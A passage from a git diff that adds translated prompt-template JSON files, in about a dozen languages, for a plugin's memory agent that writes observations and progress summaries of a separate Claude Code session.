you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in Deutsch" + } +} diff --git a/plugin/modes/code--el.json b/plugin/modes/code--el.json new file mode 100644 index 00000000..feefca2f --- /dev/null +++ b/plugin/modes/code--el.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Greek)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in ελληνικά", + + "xml_title_placeholder": "[**title**: Σύντομος τίτλος που περιγράφει την κύρια ενέργεια ή το θέμα]", + "xml_subtitle_placeholder": "[**subtitle**: Εξήγηση σε μία πρόταση (μέγιστο 24 λέξεις)]", + "xml_fact_placeholder": "[Συνοπτική, αυτόνομη δήλωση]", + "xml_narrative_placeholder": "[**narrative**: Πλήρες πλαίσιο: τι έγινε, πώς λειτουργεί, γιατί είναι σημαντικό]", + "xml_concept_placeholder": "[κατηγορία-τύπου-γνώσης]", + "xml_file_placeholder": "[διαδρομή/προς/αρχείο]", + + "xml_summary_request_placeholder": "[Σύντομος τίτλος που περιγράφει το αίτημα του χρήστη και την ουσία του τι συζητήθηκε/έγινε]", + "xml_summary_investigated_placeholder": "[Τι έχει εξερευνηθεί μέχρι στιγμής; Τι έχει εξεταστεί;]", + "xml_summary_learned_placeholder": "[Τι έχετε μάθει για το πώς λειτουργούν τα πράγματα;]", + "xml_summary_completed_placeholder": "[Ποια εργασία έχει ολοκληρωθεί μέχρι στιγμής; Τι έχει παραδοθεί ή αλλάξει;]", + "xml_summary_next_steps_placeholder": "[Σε τι εργάζεστε ενεργά ή σχεδιάζετε να εργαστείτε στη συνέχεια σε αυτή τη συνεδρία;]", + "xml_summary_notes_placeholder": "[Πρόσθετες γνώσεις ή παρατηρήσεις σχετικά με την τρέχουσα πρόοδο]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in ελληνικά", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in ελληνικά" + } +} diff --git a/plugin/modes/code--es.json b/plugin/modes/code--es.json new file mode 100644 index 00000000..3b2cb47c --- /dev/null +++ b/plugin/modes/code--es.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Spanish)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in español", + + "xml_title_placeholder": "[**title**: Título breve que captura la acción o tema principal]", + "xml_subtitle_placeholder": "[**subtitle**: Explicación de una oración (máximo 24 palabras)]", + "xml_fact_placeholder": "[Declaración concisa y autónoma]", + "xml_narrative_placeholder": "[**narrative**: Contexto completo: Qué se hizo, cómo funciona, por qué es importante]", + "xml_concept_placeholder": "[categoría-de-tipo-de-conocimiento]", + "xml_file_placeholder": "[ruta/al/archivo]", + + "xml_summary_request_placeholder": "[Título breve que captura la solicitud del usuario Y la sustancia de lo que se discutió/hizo]", + "xml_summary_investigated_placeholder": "[¿Qué se ha explorado hasta ahora? ¿Qué se examinó?]", + "xml_summary_learned_placeholder": "[¿Qué has aprendido sobre cómo funcionan las cosas?]", + "xml_summary_completed_placeholder": "[¿Qué trabajo se ha completado hasta ahora? ¿Qué se ha enviado o cambiado?]", + "xml_summary_next_steps_placeholder": "[¿En qué estás trabajando activamente o planeas trabajar a continuación en esta sesión?]", + "xml_summary_notes_placeholder": "[Información adicional u observaciones sobre el progreso actual]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in español", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in español" + } +} diff --git a/plugin/modes/code--fi.json b/plugin/modes/code--fi.json new file mode 100644 index 00000000..e1e765d4 --- /dev/null +++ b/plugin/modes/code--fi.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Finnish)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in suomi", + + "xml_title_placeholder": "[**title**: Lyhyt otsikko, joka kuvaa päätehtävää tai aihetta]", + "xml_subtitle_placeholder": "[**subtitle**: Yhden lauseen selitys (enintään 24 sanaa)]", + "xml_fact_placeholder": "[Tiivis, itsenäinen väite]", + "xml_narrative_placeholder": "[**narrative**: Täydellinen konteksti: mitä tehtiin, miten se toimii, miksi se on tärkeää]", + "xml_concept_placeholder": "[tietolaji-kategoria]", + "xml_file_placeholder": "[polku/tiedostoon]", + + "xml_summary_request_placeholder": "[Lyhyt otsikko, joka kuvaa käyttäjän pyynnön ja keskustellun/tehdyn asian ytimen]", + "xml_summary_investigated_placeholder": "[Mitä on tutkittu tähän mennessä? Mitä on tarkasteltu?]", + "xml_summary_learned_placeholder": "[Mitä olet oppinut siitä, miten asiat toimivat?]", + "xml_summary_completed_placeholder": "[Mikä työ on valmistunut tähän mennessä? Mitä on toimitettu tai muutettu?]", + "xml_summary_next_steps_placeholder": "[Mitä työstät aktiivisesti tai aiot työstää seuraavaksi tässä istunnossa?]", + "xml_summary_notes_placeholder": "[Lisätietoja tai havaintoja nykyisestä edistymisestä]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in suomi", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in suomi" + } +} diff --git a/plugin/modes/code--fr.json b/plugin/modes/code--fr.json new file mode 100644 index 00000000..e725d6ed --- /dev/null +++ b/plugin/modes/code--fr.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (French)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in français", + + "xml_title_placeholder": "[**title**: Titre court capturant l'action ou le sujet principal]", + "xml_subtitle_placeholder": "[**subtitle**: Explication en une phrase (maximum 24 mots)]", + "xml_fact_placeholder": "[Déclaration concise et autonome]", + "xml_narrative_placeholder": "[**narrative**: Contexte complet : Ce qui a été fait, comment cela fonctionne, pourquoi c'est important]", + "xml_concept_placeholder": "[catégorie-de-type-de-connaissance]", + "xml_file_placeholder": "[chemin/vers/fichier]", + + "xml_summary_request_placeholder": "[Titre court capturant la demande de l'utilisateur ET la substance de ce qui a été discuté/fait]", + "xml_summary_investigated_placeholder": "[Qu'est-ce qui a été exploré jusqu'à présent ? Qu'est-ce qui a été examiné ?]", + "xml_summary_learned_placeholder": "[Qu'avez-vous appris sur le fonctionnement des choses ?]", + "xml_summary_completed_placeholder": "[Quel travail a été complété jusqu'à présent ? Qu'est-ce qui a été livré ou modifié ?]", + "xml_summary_next_steps_placeholder": "[Sur quoi travaillez-vous activement ou prévoyez-vous de travailler ensuite dans cette session ?]", + "xml_summary_notes_placeholder": "[Informations supplémentaires ou observations sur la progression actuelle]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in français", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in français" + } +} diff --git a/plugin/modes/code--he.json b/plugin/modes/code--he.json new file mode 100644 index 00000000..cbba9708 --- /dev/null +++ b/plugin/modes/code--he.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Hebrew)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in עברית", + + "xml_title_placeholder": "[**title**: כותרת קצרה שמתארת את הפעולה או הנושא המרכזי]", + "xml_subtitle_placeholder": "[**subtitle**: הסבר במשפט אחד (מקסימום 24 מילים)]", + "xml_fact_placeholder": "[הצהרה תמציתית ועצמאית]", + "xml_narrative_placeholder": "[**narrative**: הקשר מלא: מה נעשה, איך זה עובד, למה זה חשוב]", + "xml_concept_placeholder": "[קטגוריית-סוג-ידע]", + "xml_file_placeholder": "[נתיב/לקובץ]", + + "xml_summary_request_placeholder": "[כותרת קצרה שמתארת את בקשת המשתמש ואת מהות מה שנדון/נעשה]", + "xml_summary_investigated_placeholder": "[מה נחקר עד כה? מה נבדק?]", + "xml_summary_learned_placeholder": "[מה למדת על איך דברים עובדים?]", + "xml_summary_completed_placeholder": "[איזו עבודה הושלמה עד כה? מה נשלח או שונה?]", + "xml_summary_next_steps_placeholder": "[על מה אתה עובד באופן פעיל או מתכנן לעבוד הלאה בסשן הזה?]", + "xml_summary_notes_placeholder": "[תובנות או הערות נוספות על ההתקדמות הנוכחית]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in עברית", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in עברית" + } +} diff --git a/plugin/modes/code--hi.json b/plugin/modes/code--hi.json new file mode 100644 index 00000000..386d045a --- /dev/null +++ b/plugin/modes/code--hi.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Hindi)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in हिन्दी", + + "xml_title_placeholder": "[**title**: मुख्य कार्रवाई या विषय को दर्शाने वाला संक्षिप्त शीर्षक]", + "xml_subtitle_placeholder": "[**subtitle**: एक वाक्य में स्पष्टीकरण (अधिकतम 24 शब्द)]", + "xml_fact_placeholder": "[संक्षिप्त, स्व-निहित कथन]", + "xml_narrative_placeholder": "[**narrative**: पूर्ण संदर्भ: क्या किया गया, यह कैसे काम करता है, यह क्यों महत्वपूर्ण है]", + "xml_concept_placeholder": "[ज्ञान-प्रकार-श्रेणी]", + "xml_file_placeholder": "[फ़ाइल/का/पथ]", + + "xml_summary_request_placeholder": "[संक्षिप्त शीर्षक जो उपयोगकर्ता के अनुरोध और चर्चा/किए गए कार्य के सार को दर्शाता है]", + "xml_summary_investigated_placeholder": "[अब तक क्या खोजा गया है? क्या समीक्षा की गई है?]", + "xml_summary_learned_placeholder": "[आपने चीजों के काम करने के तरीके के बारे में क्या सीखा?]", + "xml_summary_completed_placeholder": "[अब तक कौन सा काम पूरा हुआ है? क्या भेजा गया या बदला गया?]", + "xml_summary_next_steps_placeholder": "[इस सत्र में आप सक्रिय रूप से किस पर काम कर रहे हैं या आगे काम करने की योजना बना रहे हैं?]", + "xml_summary_notes_placeholder": "[वर्तमान प्रगति पर अतिरिक्त अंतर्दृष्टि या टिप्पणियां]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in हिन्दी", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in हिन्दी" + } +} diff --git a/plugin/modes/code--hu.json b/plugin/modes/code--hu.json new file mode 100644 index 00000000..1ef22788 --- /dev/null +++ b/plugin/modes/code--hu.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Hungarian)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in magyar", + + "xml_title_placeholder": "[**title**: Rövid cím, amely megragadja a fő műveletet vagy témát]", + "xml_subtitle_placeholder": "[**subtitle**: Egyetlen mondatos magyarázat (maximum 24 szó)]", + "xml_fact_placeholder": "[Tömör, önálló kijelentés]", + "xml_narrative_placeholder": "[**narrative**: Teljes kontextus: mit csináltak, hogyan működik, miért fontos]", + "xml_concept_placeholder": "[tudástípus-kategória]", + "xml_file_placeholder": "[fájl/elérési/útja]", + + "xml_summary_request_placeholder": "[Rövid cím, amely megragadja a felhasználó kérését és a megvitatott/végrehajtott dolgok lényegét]", + "xml_summary_investigated_placeholder": "[Mit vizsgáltak meg eddig? Mit tekintettek át?]", + "xml_summary_learned_placeholder": "[Mit tanultál arról, hogyan működnek a dolgok?]", + "xml_summary_completed_placeholder": "[Milyen munka fejeződött be eddig? Mit szállítottak le vagy változtattak meg?]", + "xml_summary_next_steps_placeholder": "[Min dolgozol aktívan, vagy min tervezel dolgozni ebben az ülésben?]", + "xml_summary_notes_placeholder": "[További meglátások vagy megfigyelések a jelenlegi előrehaladásról]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in magyar", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in magyar" + } +} diff --git a/plugin/modes/code--id.json b/plugin/modes/code--id.json new file mode 100644 index 00000000..5da0068a --- /dev/null +++ b/plugin/modes/code--id.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Indonesian)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Bahasa Indonesia", + + "xml_title_placeholder": "[**title**: Judul singkat yang menangkap tindakan atau topik inti]", + "xml_subtitle_placeholder": "[**subtitle**: Penjelasan satu kalimat (maksimal 24 kata)]", + "xml_fact_placeholder": "[Pernyataan ringkas dan mandiri]", + "xml_narrative_placeholder": "[**narrative**: Konteks lengkap: apa yang dilakukan, bagaimana cara kerjanya, mengapa penting]", + "xml_concept_placeholder": "[kategori-jenis-pengetahuan]", + "xml_file_placeholder": "[jalur/ke/file]", + + "xml_summary_request_placeholder": "[Judul singkat yang menangkap permintaan pengguna dan inti dari apa yang didiskusikan/dilakukan]", + "xml_summary_investigated_placeholder": "[Apa yang telah dieksplorasi sejauh ini? Apa yang telah diperiksa?]", + "xml_summary_learned_placeholder": "[Apa yang Anda pelajari tentang cara kerja sesuatu?]", + "xml_summary_completed_placeholder": "[Pekerjaan apa yang telah diselesaikan sejauh ini? Apa yang telah dikirim atau diubah?]", + "xml_summary_next_steps_placeholder": "[Apa yang sedang Anda kerjakan secara aktif atau rencanakan untuk dikerjakan selanjutnya dalam sesi ini?]", + "xml_summary_notes_placeholder": "[Wawasan atau pengamatan tambahan tentang kemajuan saat ini]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Bahasa Indonesia", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in Bahasa Indonesia" + } +} diff --git a/plugin/modes/code--it.json b/plugin/modes/code--it.json new file mode 100644 index 00000000..46646e6f --- /dev/null +++ b/plugin/modes/code--it.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Italian)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in italiano", + + "xml_title_placeholder": "[**title**: Titolo breve che cattura l'azione o l'argomento principale]", + "xml_subtitle_placeholder": "[**subtitle**: Spiegazione in una frase (massimo 24 parole)]", + "xml_fact_placeholder": "[Dichiarazione concisa e autonoma]", + "xml_narrative_placeholder": "[**narrative**: Contesto completo: cosa è stato fatto, come funziona, perché è importante]", + "xml_concept_placeholder": "[categoria-tipo-conoscenza]", + "xml_file_placeholder": "[percorso/del/file]", + + "xml_summary_request_placeholder": "[Titolo breve che cattura la richiesta dell'utente e l'essenza di ciò che è stato discusso/fatto]", + "xml_summary_investigated_placeholder": "[Cosa è stato esplorato finora? Cosa è stato esaminato?]", + "xml_summary_learned_placeholder": "[Cosa hai imparato sul funzionamento delle cose?]", + "xml_summary_completed_placeholder": "[Quale lavoro è stato completato finora? Cosa è stato consegnato o modificato?]", + "xml_summary_next_steps_placeholder": "[Su cosa stai lavorando attivamente o pianifichi di lavorare successivamente in questa sessione?]", + "xml_summary_notes_placeholder": "[Ulteriori intuizioni o osservazioni sul progresso attuale]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in italiano", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in italiano" + } +} diff --git a/plugin/modes/code--ja.json b/plugin/modes/code--ja.json new file mode 100644 index 00000000..28093a95 --- /dev/null +++ b/plugin/modes/code--ja.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Japanese)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in 日本語", + + "xml_title_placeholder": "[**title**: コアとなるアクションやトピックを捉えた短いタイトル]", + "xml_subtitle_placeholder": "[**subtitle**: 一文での説明(最大24単語)]", + "xml_fact_placeholder": "[簡潔で自己完結した記述]", + "xml_narrative_placeholder": "[**narrative**: 完全なコンテキスト:何が行われたか、どのように機能するか、なぜ重要か]", + "xml_concept_placeholder": "[知識タイプのカテゴリ]", + "xml_file_placeholder": "[ファイルへのパス]", + + "xml_summary_request_placeholder": "[ユーザーのリクエストと議論/実行された内容の本質を捉えた短いタイトル]", + "xml_summary_investigated_placeholder": "[これまでに何を調査しましたか?何を検証しましたか?]", + "xml_summary_learned_placeholder": "[仕組みについて何を学びましたか?]", + "xml_summary_completed_placeholder": "[これまでにどんな作業が完了しましたか?何が出荷または変更されましたか?]", + "xml_summary_next_steps_placeholder": "[このセッションで次に積極的に取り組んでいる、または取り組む予定のことは何ですか?]", + "xml_summary_notes_placeholder": "[現在の進捗に関する追加の洞察や観察]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in 日本語", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in 日本語" + } +} diff --git a/plugin/modes/code--ko.json b/plugin/modes/code--ko.json new file mode 100644 index 00000000..0a58e7b6 --- /dev/null +++ b/plugin/modes/code--ko.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Korean)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in 한국어", + + "xml_title_placeholder": "[**title**: 핵심 작업이나 주제를 포착하는 짧은 제목]", + "xml_subtitle_placeholder": "[**subtitle**: 한 문장 설명 (최대 24단어)]", + "xml_fact_placeholder": "[간결하고 독립적인 진술]", + "xml_narrative_placeholder": "[**narrative**: 전체 컨텍스트: 무엇을 했는지, 어떻게 작동하는지, 왜 중요한지]", + "xml_concept_placeholder": "[지식 유형 카테고리]", + "xml_file_placeholder": "[파일 경로]", + + "xml_summary_request_placeholder": "[사용자의 요청과 논의/수행된 내용의 본질을 포착하는 짧은 제목]", + "xml_summary_investigated_placeholder": "[지금까지 무엇을 탐색했습니까? 무엇을 검토했습니까?]", + "xml_summary_learned_placeholder": "[작동 방식에 대해 무엇을 배웠습니까?]", + "xml_summary_completed_placeholder": "[지금까지 어떤 작업이 완료되었습니까? 무엇이 배포되거나 변경되었습니까?]", + "xml_summary_next_steps_placeholder": "[이 세션에서 다음으로 적극적으로 작업 중이거나 작업할 계획인 것은 무엇입니까?]", + "xml_summary_notes_placeholder": "[현재 진행 상황에 대한 추가 통찰이나 관찰]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in 한국어", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in 한국어" + } +} diff --git a/plugin/modes/code--nl.json b/plugin/modes/code--nl.json new file mode 100644 index 00000000..de3db285 --- /dev/null +++ b/plugin/modes/code--nl.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Dutch)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Nederlands", + + "xml_title_placeholder": "[**title**: Korte titel die de kernactie of het onderwerp beschrijft]", + "xml_subtitle_placeholder": "[**subtitle**: Uitleg in één zin (maximaal 24 woorden)]", + "xml_fact_placeholder": "[Beknopte, op zichzelf staande verklaring]", + "xml_narrative_placeholder": "[**narrative**: Volledige context: wat er is gedaan, hoe het werkt, waarom het belangrijk is]", + "xml_concept_placeholder": "[kennistype-categorie]", + "xml_file_placeholder": "[pad/naar/bestand]", + + "xml_summary_request_placeholder": "[Korte titel die het verzoek van de gebruiker en de essentie van wat is besproken/gedaan beschrijft]", + "xml_summary_investigated_placeholder": "[Wat is er tot nu toe onderzocht? Wat is er bekeken?]", + "xml_summary_learned_placeholder": "[Wat heb je geleerd over hoe dingen werken?]", + "xml_summary_completed_placeholder": "[Welk werk is er tot nu toe voltooid? Wat is er opgeleverd of gewijzigd?]", + "xml_summary_next_steps_placeholder": "[Waar werk je actief aan of plan je verder aan te werken in deze sessie?]", + 